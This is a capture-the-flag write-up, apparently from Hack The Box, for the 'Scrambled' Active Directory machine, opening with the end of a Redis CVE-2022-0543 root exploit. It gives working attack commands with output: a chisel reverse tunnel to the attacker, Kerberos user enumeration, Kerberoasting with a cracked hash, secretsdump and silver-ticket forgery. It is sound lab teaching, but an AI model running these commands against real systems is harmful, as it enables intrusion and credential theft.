F2WHqJUz2WEz=Gqq
```
It seems like `F2WHqJUz2WEz=Gqq` is the password.
Back on the target machine, we run `redis-cli` again to connect. We can use the `AUTH` command to authenticate, but we need a username? The shell makes it look like we do, but the username is optional, which is clarified in the [`AUTH` command documentation](https://redis.io/commands/auth/). [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#redis-authentication) also has some details about authentication.
Running `AUTH F2WHqJUz2WEz=Gqq` authenticates us and then we run the `info` command to see that the redis version is `6.0.15`. Looking at the [changelog](https://github.com/redis/redis/blob/6.0/00-RELEASENOTES), we see that version `6.0.16` patched 8 CVEs, so any one of those might be helpful:
Security Fixes:
* (CVE-2021-41099) Integer to heap buffer overflow handling certain string commands and network payloads, when proto-max-bulk-len is manually configured to a non-default, very large value \[reported by yiyuaner].
* (CVE-2021-32762) Integer to heap buffer overflow issue in redis-cli and redis-sentinel parsing large multi-bulk replies on some older and less common platforms \[reported by Microsoft Vulnerability Research].
* (CVE-2021-32687) Integer to heap buffer overflow with intsets, when set-max-intset-entries is manually configured to a non-default, very large value \[reported by Pawel Wieczorkiewicz, AWS].
* (CVE-2021-32675) Denial Of Service when processing RESP request payloads with a large number of elements on many connections.
* (CVE-2021-32672) Random heap reading issue with Lua Debugger \[reported by Meir Shpilraien].
* (CVE-2021-32628) Integer to heap buffer overflow handling ziplist-encoded data types, when configuring a large, non-default value for hash-max-ziplist-entries, hash-max-ziplist-value, zset-max-ziplist-entries or zset-max-ziplist-value \[reported by sundb].
* (CVE-2021-32627) Integer to heap buffer overflow issue with streams, when configuring a non-default, large value for proto-max-bulk-len and client-query-buffer-limit \[reported by sundb].
* (CVE-2021-32626) Specially crafted Lua scripts may result with Heap buffer overflow \[reported by Meir Shpilraien].
From HackTricks, I try the [load redis module](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module) section, but that doesn't work:
```
127.0.0.1:6379> MODULE LOAD /tmp/module.so
(error) ERR Error loading the extension. Please check the server logs.
```
Under the [LUA sandbox bypass](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass) heading, HackTricks links to [aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543), which exploits [CVE-2022-0543](https://nvd.nist.gov/vuln/detail/CVE-2022-0543).
We get the linked repo setup by running these commands:
```
git clone https://github.com/aodsec/CVE-2022-0543.git
cd CVE-2022-0543
python -m venv env
source env/bin/activate
python -m pip install redis
```
However, before we can run it we need to forward the redis port to our attacker machine, which we can do using [chisel](https://github.com/jpillora/chisel). Run `./chisel server -p 34295 --reverse` on your attacker machine and then run `./chisel client 10.10.14.98:34295 R:6379:127.0.0.1:6379` on the target. You can upload `chisel` easily with pwncat by running `upload tools/chisel` in the local shell of pwncat.
Finally, run the exploit script with `python CVE-2022-0543.py`. This produces an error: `redis.exceptions.AuthenticationError: Authentication required` because we didn't provide our password. We can easily modify the scipt and add the password by changing this line `r = redis.Redis(host = ip,port = port)` to this `r = redis.Redis(host = ip,port = port,password="F2WHqJUz2WEz=Gqq")` (password argument name found in [this StackOverflow answer](https://stackoverflow.com/a/30153367)).
Now, we can actually run the exploit script:
```
Please input redis ip:
>>127.0.0.1
Please input redis port:
>>6379
input exec cmd:(q->exit)
>>whoami
b'root\n'
input exec cmd:(q->exit)
>>ls
b'dump.rdb\n'
input exec cmd:(q->exit)
>>pwd
b'/var/lib/redis\n'
input exec cmd:(q->exit)
>>cat /root/root.txt
b'28...9c\n'
input exec cmd:(q->exit)
```
Run `/root/root.txt` to get the `root.txt` flag.
# Scrambled
## Summary
Nmap finds a website on port `80` and shows Kerberos is running on port `88`. It also displays a few domains (`scrm.local` and `dc1.scrm.local`), which we add to `/etc/hosts`. The website reveals several important pieces of information: 1) NTLM authentication is disabled, 2) `ksimpson` is a valid username, 3) a unique program runs on port `4411` and has some debug mode, and 4) passwords are reset to match the account username. We learn that the credentials `ksimpson:ksimpson` are valid using [kerbrute](https://github.com/ropnop/kerbrute). However, `ksimpson` has limited privileges and cannot do much, so we need to [attack Active Directory](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology).
We are able to access some of the SMB shares as `ksimpson` using Kerberos to authenticate ([smbclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbclient.py) from [impacket](https://github.com/SecureAuthCorp/impacket) supports this). We find a PDF mentioning how passwords are stored in a database. So, it looks like MS SQL is our target.
We use the [Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast) attack ([more information](https://www.tarlogic.com/blog/how-to-attack-kerberos/#Kerberoasting), [video by the author of the box](https://www.youtube.com/watch?v=xH5T9-m9QXw)). We use [impacket](https://github.com/SecureAuthCorp/impacket) to get the Service Principal Names (SPNs), which gives us the Ticket Granting Service (TGS) for the `sqlsvc` user. We crack the hash following the [HackTricks Kerberoast section on cracking](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast#cracking) and get a password. Next, we use the [Silver Ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#silver-ticket) attack to forge a custom TGS as the `Administrator` user, which will definitely have access to the database. With this ticket, we can use [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) and enumerate the database. We find the credentials for the `MiscSvc` user. Finally, we use [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) and [xp\_cmdshell](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssqlclient.py) to get a reverse shell.
We easily switch to the `MiscSvc` user since we have the credentials for it using`Invoke-Command` and grabbing another reverse shell. This gets us the `user.txt` flag. At the path `C:\Shares\IT\Apps\Sales Order Client` we find an executable and a DLL. We download them both and open them in [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy), a .Net decompiler. We find a deserialization vulnerability in the `ScrambleLib.ScrambleNetClient.UploadOrder` function and use [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) to exploit the deserialization vulnerability. This program creates a payload that will run our reverse shell command. We send the payload to the program on port `4411` with the `UPLOAD_ORDER;` command. After several attempts, we get a reverse shell as `Administrator` and get the `root.txt` flag.
## Enumeration
### Nmap
First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.168 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.168`.
```
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-03 17:35:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-08-03T04:55:14
|_Not valid after: 2052-08-03T04:55:14
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
53525/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.92%I=7%D=8/3%Time=62EAB1D1%P=x86_64-pc-linux-gnu%r(NUL
SF:L,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLECO
SF:RP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3
SF:;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLECO
SF:RP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCRA
SF:MBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECORP
SF:_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_V
SF:1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOW
SF:N_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n"
SF:)%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLSS
SF:essionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\.
SF:0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourOh
SF:FourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;
SF:\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_C
SF:OMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk-
SF:RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMBL
SF:ECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\
SF:n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"SC
SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(
SF:ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECORP
SF:_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-08-03T17:37:41
|_ start_date: N/A
| ms-sql-info:
| 10.10.11.168:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
```
Let's add all the detected domains (and `scrambled.htb` just in case) to our `/etc/hosts` file: `echo "10.10.11.168 scrambled.htb scrm.local dc1.scrm.local" | sudo tee -a /etc/hosts`.
Important to note is that we have a website on port `80` and Kerberos is active on the machine on port `88`.
### Port `80`
Let's first check out the website on port `80`:
On the "IT Services" page we see that they have disabled NTLM authentication on their network due to a security breach:
The page also links to several resources that reveal some important information.
On the "Contacting IT Support" page below, we get a username, `ksimpson`, and an internal phone number, `0866`:
The "New User Account" page doesn't seem to be that useful:
The "Sales Orders App Troubleshooting" page discusses a program that connects to port `4411` and has a debugging mode:
Finally, the "Password Resets" page explains that their password reset system is currently down:
So, if someone needs their password reset, they should contact IT and IT will reset it to be the same as their username. Thus, for any usernames we get, we can guess that the password is the same as the username.
We already know about the `ksimpson` user from a screenshot. So, maybe their password is also `ksimpson`.
We can quickly test this using [kerbrute](https://github.com/ropnop/kerbrute): `echo "ksimpson:ksimpson" > creds.txt && ./kerbrute bruteforce --domain scrm.local --dc dc1.scrm.local creds.txt && rm creds.txt`:
```
2022/08/03 20:43:41 > Using KDC(s):
2022/08/03 20:43:41 > dc1.scrm.local:88
2022/08/03 20:43:41 > [+] VALID LOGIN: ksimpson@scrm.local:ksimpson
2022/08/03 20:43:41 > Done! Tested 1 logins (1 successes) in 0.132 seconds
```
In our command we put the credentials in a file, tell `kerbrute` to read credentials from that file, and then we remove the file when `kerbrute` is done. Apparently, `kerbrute` can read from STDIN, but I couldn't get that to work.
The `kerbrute` program is meant for bruteforcing usernames and passwords against kerberos. Kerberos is a great target to bruteforce credentials because 1) it will indicate if a username is correct even if the password is wrong, 2) "Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625)" so it is stealthy, and 3) it can be done quickly.
### Kerberos
We are just using `kerbrute` to check for a single credential combination, but we can run `kerbrute userenum -d scrm.local --dc dc1.scrm.local A-ZSurnames.txt` to check if any of the users in the `A-ZSurnames.txt` list are present on the target machine. Searching for "kerberos usernames list" finds [attackdebris/kerberos\_enum\_userlists](https://github.com/attackdebris/kerberos_enum_userlists), which has plenty of options. We use the [A-ZSurnames.txt](https://github.com/attackdebris/kerberos_enum_userlists/blob/master/A-ZSurnames.txt) list because that is the format of the `ksimpson` username we found. Running the aforementioned commands produces this output:
```
2022/08/03 21:04:55 > [+] VALID USERNAME: ASMITH@scrm.local
2022/08/03 21:05:07 > [+] VALID USERNAME: JHALL@scrm.local
2022/08/03 21:05:08 > [+] VALID USERNAME: KSIMPSON@scrm.local
2022/08/03 21:05:09 > [+] VALID USERNAME: KHICKS@scrm.local
2022/08/03 21:05:19 > [+] VALID USERNAME: SJENKINS@scrm.local
2022/08/03 21:05:29 > Done! Tested 13000 usernames (5 valid) in 34.980 seconds
```
We could then bruteforce passwords for each user using the `bruteuser` command from `kerbrute`, but we already have a set of credentials.
**Resources:** The [HackTricks Active Directory Methodology](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) is a great guide to working with Windows Active Directories. Additionally, [Kerberos (I): How does Kerberos work? – Theory](https://www.tarlogic.com/blog/how-kerberos-works/) is a fantastic introduction to Kerberos from BlackArrow. Finally, [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos) explains some of the common Kerberos attacks/exploits.
Another resource is [WADComs](https://wadcoms.github.io), which shows commands regarding Active Directory applicable to your current situation. For instance, if we [select the options for our current setup](https://wadcoms.github.io/#+Username+Password+Exploitation+Windows+Kerberos), we will get a list of commands that might be useful.
We initially try using [crackmapexec](https://github.com/Porchetta-Industries/CrackMapExec) to see if we can access anything using the `ksimpson` user. For instance, we run `crackmapexec winrm scrm.local -u ksimpson -p ksimpson` to check if we can connect over [WinRM](https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm). Testing all of `crackmapexec`'s [supported protocols](https://wiki.porchetta.industries/getting-started/selecting-and-using-a-protocol#viewing-available-protocols) fails with our credentials though, so we need a more privileged account.
In the [Enumerating Active Directory WITH credentials/session](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#enumerating-active-directory-with-credentials-session) section, HackTricks tells us that we can obtain all the domain usernames by running `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` (from [impacket](https://github.com/SecureAuthCorp/impacket/blob/impacket_0_10_0/examples/GetADUsers.py)). However, when we run it, we get this issue:
```
$ GetADUsers.py -all -dc-ip 10.10.11.168 scrm.local/ksimpson
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
Password:
[-] NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos authentication instead.
[-] Error in bindRequest during the NTLMAuthNegotiate request -> invalidCredentials: 80090302: LdapErr: DSID-0C0906B5, comment: AcceptSecurityContext error, data 1, v4563
```
The website mentioned that NTLM is disabled, so it looks like we are going to need to explore Kerberos more.
### SMB
As the `ksimpson`, user we are able to get a TGT (Ticket Granting Ticket) by running `getTGT.py scrm.local/ksimpson:ksimpson` (from [impacket](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getTGT.py)). Run `export KRB5CCNAME=ksimpson.ccache` so future scripts know which ticket to use. Then, we can run `smbclient.py -k -no-pass scrm.local/ksimpson@dc1.scrm.local` to authenticate to the SMB share using Kerberos. Alternatively, just run `smbclient.py -k scrm.local/ksimpson@dc1.scrm.local` and provide the password `ksimpson`:
```
Password:
[-] CCache file is not found. Skipping...
Type help for list of commands
# help
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mget {mask} - downloads all files from the current directory matching the provided mask
cat {filename} - reads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
list_snapshots {path} - lists the vss snapshots for the specified path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# use Sales
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# use Public
# ls
drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 .
drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 ..
-rw-rw-rw- 630106 Fri Nov 5 13:45:07 2021 Network Security Changes.pdf
# get Network Security Changes.pdf
# Bye!
```
We do not have access to the `Sales` share, so we should note that for later. In the `Public` share there is a document: [Network Security Changes.pdf](https://github.com/HHousen/hack-the-box/blob/master/Machines/Scrambled/Network%20Security%20Changes.pdf). The document says "The attacker was able to retrieve credentials from an SQL database used by our HR software so we have removed all access to the SQL service for everyone apart from network administrators." Sounds like there are still credentials in the database then. So, that should be our target.
## Foothold
The next attack we see is [Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast) (also shown on [WADComs with the `Impacket-GetUserSPNs` command](https://wadcoms.github.io/wadcoms/Impacket-GetUserSPNs/) and from [the article linked previously](https://www.tarlogic.com/blog/how-to-attack-kerberos/#Kerberoasting)).
Additionally, searching for "kerberoasting" finds a [video by the author of the box](https://www.youtube.com/watch?v=xH5T9-m9QXw). The video is actually pretty helpful for understanding how this attack works.
"The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets are encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline." - [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast#kerberoast)
Running the command as shown in HackTricks or WADComs produes this error:
```
$ GetUserSPNs.py -request -dc-ip 10.10.11.168 scrm.local/ksimpson:ksimpson -outputfile hashes.kerberoast
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[-] NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos authentication instead.
[-] Error in bindRequest during the NTLMAuthNegotiate request -> invalidCredentials: 80090302: LdapErr: DSID-0C0906B5, comment: AcceptSecurityContext error, data 1, v4563
```
So, we add the `-k` option to use Kerberos, which then tells us to use the `-dc-host` option instead of `-dc-ip`.
So, our final command is `GetUserSPNs.py -request -dc-host dc1.scrm.local scrm.local/ksimpson:ksimpson -outputfile hashes.kerberoast -k`:
```
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 12:32:02.351452 2022-08-03 00:55:12.319018
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 12:32:02.351452 2022-08-03 00:55:12.319018
[-] CCache file is not found. Skipping...
```
Note: If the above produces a `TypeError: exceptions must be old-style classes or derived from BaseException, not str` issue, then check out [impacket#1206](https://github.com/SecureAuthCorp/impacket/issues/1206).
This seems to work for me. Running `cat hashes.kerberoast` gives us a hash:
```
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$62652d40a4f179320c4d55b5ac836f28$7165c7282c021132da52b0c079622628e5367c7f0a0f726be11c9d9ba9f7221f09bfe4449f15ff2ab40ee9836cfc19094e32c3eb2ffdc2e320baca8def1cd25889279a7ea5995017835606e040cf28560a7c96244a453f5f3cae4d524c184b6bee280c84ac0134955ee2321fb60ee2fe3d98585497b9f1e836b2b733ac6e4f3de9b4efc3d207706021049e9ab8e47db1effe066820b21d8c3cda291d832fa93406e62eda70c8b812c675b5650b0b2089e6e822c09f43928277a95c19a728a93f0b7b5ef0ba0fb9333eeb48e17837c1ee909d0eb16e195251c8172e605e7bd38060928929c61ae88161ee0df44bc031bec07e59bb455e88ac8d948d8b73930f9d409db147ce42d3f7b8e2c69e2235342db166fc21291db27b8ad66336413ce3de81f318ebd5c44671a859c6fa5555aefddca90275b867f03d0b9676df9ba80c04e4e058e84b87a05b84ad905679696566017cd8114f4dff2ff2659463c145740c00215b90e8defa2c60daca0f5af24b3deea4226440672224323dac1a0ca561662c3c6341257c03885efe9b4e82e5d9f451b726352bb8ed885a133af6e444918f294b1cddcd3e2b6e74e173d79c1461e84236b19d91873a9dedcc5910462b1d53bde5fbf0ce9030453e113f392bb13243f006e199adbba639b4bbbdd7e71ad163ed29045ad71f9c15dbe8fb8d40b56126b2ebb77185c44228c3db3c59514eef3d4969d59166a97ba78142106d2fa27540cba018e6cc2fe40286610e6f89a809cda4f29e27e92faef49b1caed3d1695fed5b8569860a6ba21cf3e3e51acb3b3418ea06f5bf97b3967c03841f030c9f0e2d2cec17cead6c7da5e15cb08e6ec6ef2c5c26cf1625707be28ec7f4ed9b6ba81d0d50114a583e5a44d0bec84c7004702789918fa9c3aa5ff9eb0f43e67a2958da337753895da4b2f9619b010f456848be5676cfe6ce7c1d78015c8b30f4f3599e76a613b0375a748620fef3c24d42da1df332f9f519fb4e9e0f8daa942328c7ab8ee6e07a7f0feb821885648683dd2b7c20c85668c79077c954f2a9fe58956c8cb6e03552f466cadf13ed9b7e7839e388f4b70ee6a8c149ce047a893778941d68974d0635ac13ced1fbf136a48e8a8e124b4aea4ee36b694c92d150d4f55cb1eaa43857dcd5467d904cc3b3ac6db5964480f9c4753ef35404ddbd719e4d9b9839e1aacf94e902bd7cf4bdec9fcbe74df190d2bd0872ee4b4833b96b7e7525b861acaf07f1cbfdc681b44791dcac5479834a31daa49b552fdc625dcae480553b3781f0ac0f0ceb56c1501a53a5f0175c6c9de85d4a410dda5d5ee6ae4b99e96ae132b86dc78c2ec8dacffc07a88910229a61cdf7e5c874987d2cce142885b6bd4693d45ae2e6d76718ed59a5c9ea3346953ab7d32af92fa096be39d884634f602e8f69a1dccd257daf229eb7
```
So, we have the TGS (Ticket Granting Service) for the `sqlsvc` user. The TGS "is the ticket which user can use to authenticate against a service. It is encrypted with the service key" ([source](https://www.tarlogic.com/blog/how-kerberos-works/)). Now, we can try to crack the TGS to get the key.
According to the [HackTricks Kerberoast section on cracking](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast#cracking), we can run `john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.kerberoast` to crack the hash. Within a few seconds this gives us the password `Pegasus60`.
On HackTricks, we look at the [Post-exploitation with high privilege account](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account) section, which talks about the [Silver Ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#silver-ticket) attack: "The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user (like privileged access to a computer)."
We have the password for the `sqlsvc` account. So, we can easily [get an NTLM hash](https://codebeautify.org/ntlm-hash-generator) of that password: `B999A16500B87D17EC7F2E2A68778F05`. Since we have the NTLM hash of the MS SQL service, we can use the silver ticket attack to forge a custom TGS as the Administrator user, which will definitely have access to the database.
We can run `export KRB5CCNAME=sqlsvc.ccache` and then `secretsdump.py -k -no-pass scrm.local/sqlsvc@dc1.scrm.local -debug` to get the domain SID:
```
[+] Using Kerberos Cache: sqlsvc.ccache
[+] SPN CIFS/DC1.SCRM.LOCAL@SCRM.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/SCRM.LOCAL@SCRM.LOCAL
[+] Using TGT from cache
[+] Trying to connect to KDC at SCRM.LOCAL
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[+] Session resume file will be sessionresume_CCQuQPwx
[+] Trying to connect to KDC at SCRM.LOCAL
[+] Calling DRSCrackNames for S-1-5-21-2743207045-1827831105-2542523200-500
[+] Calling DRSGetNCChanges for {edaf791f-e75b-4711-8232-3cd66840032a}
```
So, the domain SID is `S-1-5-21-2743207045-1827831105-2542523200`. The exmaple command from [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket#silver-ticket) is `python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus`.
For us, the command will be `ticketer.py -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -spn mssqlsvc/dc1.scrm.local Administrator`:
```
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
```
